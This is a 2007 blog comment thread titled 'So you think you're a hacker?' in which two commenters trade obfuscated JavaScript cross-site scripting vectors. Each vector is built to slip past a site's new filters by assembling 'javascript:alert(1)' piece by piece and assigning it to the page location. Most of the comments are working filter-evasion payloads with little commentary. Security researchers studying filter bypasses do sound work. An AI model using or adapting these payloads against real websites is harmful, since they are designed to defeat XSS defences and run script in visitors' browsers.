Comments on: So you think you’re a hacker?

By: Gareth Heyes

Gareth Heyes — Tue, 18 Sep 2007 01:34:30 +0000

This one took ages cause it’s really tough now with their new filters:-

s=function test2() {return ‘hrefjavascriptalert(1)a’;1,1}();
void(a = {} );
void(c = URL );
a.c=function xyz() {return c[4] }();
a.h1=function xyz() {return s[0] }();
a.h2=function xyz() {return s[1] }();
a.h3=function xyz() {return s[2] }();
a.h4=function xyz() {return s[3] }();
a.u1=function xyz() {return s[4] }();
a.u2=function xyz() {return s[5] }();
a.u3=function xyz() {return s[6] }();
a.u4=function xyz() {return s[7] }();
a.u5=function xyz() {return s[8] }();
a.u6=function xyz() {return s[9] }();
a.u7=function xyz() {return s[10] }();
a.u8=function xyz() {return s[11] }();
a.u9=function xyz() {return s[12] }();
a.u10=function xyz() {return s[13] }();
a.u11=function xyz() {return s[14] }();
a.u12=function xyz() {return s[15] }();
a.u13=function xyz() {return s[16] }();
a.u14=function xyz() {return s[17] }();
a.u15=function xyz() {return s[18] }();
a.u16=function xyz() {return s[19] }();
a.u17=function xyz() {return s[20] }();
a.u18=function xyz() {return s[21] }();
$_=function xyz() {return a.u1 + a.u2 + a.u3 + a.u4 + a.u5 + a.u6 + a.u7 + a.u8 + a.u9 + a.u10 + a.c + a.u11 + a.u12 + a.u13 + a.u14 + a.u15 + a.u16 + a.u17 + a.u18 }();
for(i in x=this) x[a.h1+a.h2+a.h3+a.h4]=$_;

By: Gareth Heyes

Gareth Heyes — Tue, 11 Sep 2007 10:09:52 +0000

This one’s awesome
_=alert,1,1,_(1);

By: Ronald

Ronald — Mon, 10 Sep 2007 01:50:11 +0000

It is here:

http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/guide/sec.html

Be amazed what the ‘ol netscape can learn us, it’s almost forbidden knowledge. I read the whole book over the weekend, learned tons of new and old stuff.

By: Gareth Heyes

Gareth Heyes — Sun, 09 Sep 2007 21:42:00 +0000

Found any docs on that? I would be interested to read, I tried Mozilla but there’s not much stuff on it.

By: Ronald

Ronald — Sun, 09 Sep 2007 21:05:27 +0000

I meant:

import function() or var

export function() or var

Like:

function a() {

//foo

}

export a;

misleading stuff I know

By: Gareth Heyes

Gareth Heyes — Sun, 09 Sep 2007 18:42:13 +0000

Definitely an arms race, I just can’t see how they can prevent all of it because we can always come up with new ways of doing things.

Still I’m impressed with their filters it isn’t that easy to come up with new vectors and I’ve done loads of complicated ones which don’t get through.

By: Gareth Heyes

Gareth Heyes — Sun, 09 Sep 2007 18:31:50 +0000

c4=1==1&&'(1)';c3=1==1&&'aler';
c2=1==1&&':';c1=1==1&&'javascript';
a=c1+c2+c3+'t'+c4;(URL=a);

By: Gareth Heyes

Gareth Heyes — Sun, 09 Sep 2007 09:03:54 +0000

Nope didn’t know that but sounds cool, I’m gonna google it.

By: Ronald

Ronald — Sat, 08 Sep 2007 22:45:29 +0000

Yeah I think this will be an endless armsrace

btw do you know the Javascript functions:

import() and export() ? It’s pretty cool cause you can export singed script data if import is called inside a signed script. I didn’t know this, there is a lot more to be learned in Javascript.

By: Gareth Heyes

Gareth Heyes — Sat, 08 Sep 2007 18:43:02 +0000

Here's my favorite:-

x=(this);c=1==1&&':';s=''+/javascriptaaalerta(1)ahrefa/+'';j=s[1]+s[2]+s[3]+s[4]+s[5]
+s[6]+s[7]+s[8]+s[9]+s[10]+c+s[12]+s[14]+s[15]+s[16]+s[17]+s[19]+s[20]+s[21];h=s[23]+s[24]+s[25]+s[26];x[h]=j